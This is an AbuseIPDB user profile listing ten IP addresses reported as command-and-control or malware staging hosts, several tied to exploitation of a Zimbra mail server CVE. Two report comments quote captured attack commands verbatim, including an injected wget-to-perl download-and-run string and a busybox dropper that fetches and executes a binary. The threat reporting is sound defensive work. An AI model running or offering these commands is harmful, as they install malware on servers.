AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User DOS joined AbuseIPDB in December 2025 and has reported 10 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇩🇪 57.129.12.239	03 Sep 2026	C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on ... show more C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on a Zimbra mail server. show less	Brute-Force Exploited Host SSH Email Spam Hacking
🇬🇧 178.128.169.48	03 Sep 2026	Mining proxy + C&C Server Command-and-control or malware staging host used after exploitation of CVE ... show more Mining proxy + C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on a Zimbra mail server. show less	Brute-Force Exploited Host SSH Email Spam Hacking
🇺🇸 167.71.30.217	03 Sep 2026	Mining proxy + C&C Server Command-and-control or malware staging host used after exploitation of CVE ... show more Mining proxy + C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on a Zimbra mail server. show less	Brute-Force Exploited Host SSH Email Spam Hacking
🇩🇪 5.230.43.28	03 Sep 2026	C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on ... show more C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on a Zimbra mail server. show less	Brute-Force SSH Email Spam Hacking
🇳🇱 5.83.143.5	03 Sep 2026	C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on ... show more C&C Server Command-and-control or malware staging host used after exploitation of CVE-2026-73570 on a Zimbra mail server. show less	Brute-Force SSH Email Spam Hacking
🇩🇪 51.75.155.49	03 Sep 2026	C2 server mail zimbra exploits	Brute-Force Email Spam Hacking
🇺🇸 192.243.105.20	03 Sep 2026	C2 server	Brute-Force Email Spam Hacking
🇩🇪 46.101.214.197	03 Sep 2026	C2 server	Brute-Force SSH Email Spam Hacking
🇷🇴 154.70.152.216	03 Sep 2026	C&C sh -c /opt/zimbra/common/bin/snmptrap -v 2c -c zimbra mail.soliq.uz '' ZIMBRA-TRAP-MIB::zmServ ... show more C&C sh -c /opt/zimbra/common/bin/snmptrap -v 2c -c zimbra mail.soliq.uz '' ZIMBRA-TRAP-MIB::zmServiceStatusTrap ZIMBRA-MIB::zmServiceName s $(nohup wget -qO - http://154.70.152.216/zed \| perl &) ZIMBRA-MIB::zmServiceStatus show less	Exploited Host
🇱🇹 91.224.92.14	20 Jan 2026	// cd /tmp;cd /mnt; cd /var/tmp/; rm -rf mpsl; busybox wget http://130.12.180.20:36695/mpsl; curl -O ... show more // cd /tmp;cd /mnt; cd /var/tmp/; rm -rf mpsl; busybox wget http://130.12.180.20:36695/mpsl; curl -O http://130.12.180.20:36695/mpsl; wget http://130.12.180.20:36695/mpsl; curl -O http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -O http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl)%22,%22enable%22:1,%22interval%22:%2210%22,%22reboot_interval%22:%2230%22}} show less	Hacking Web App Attack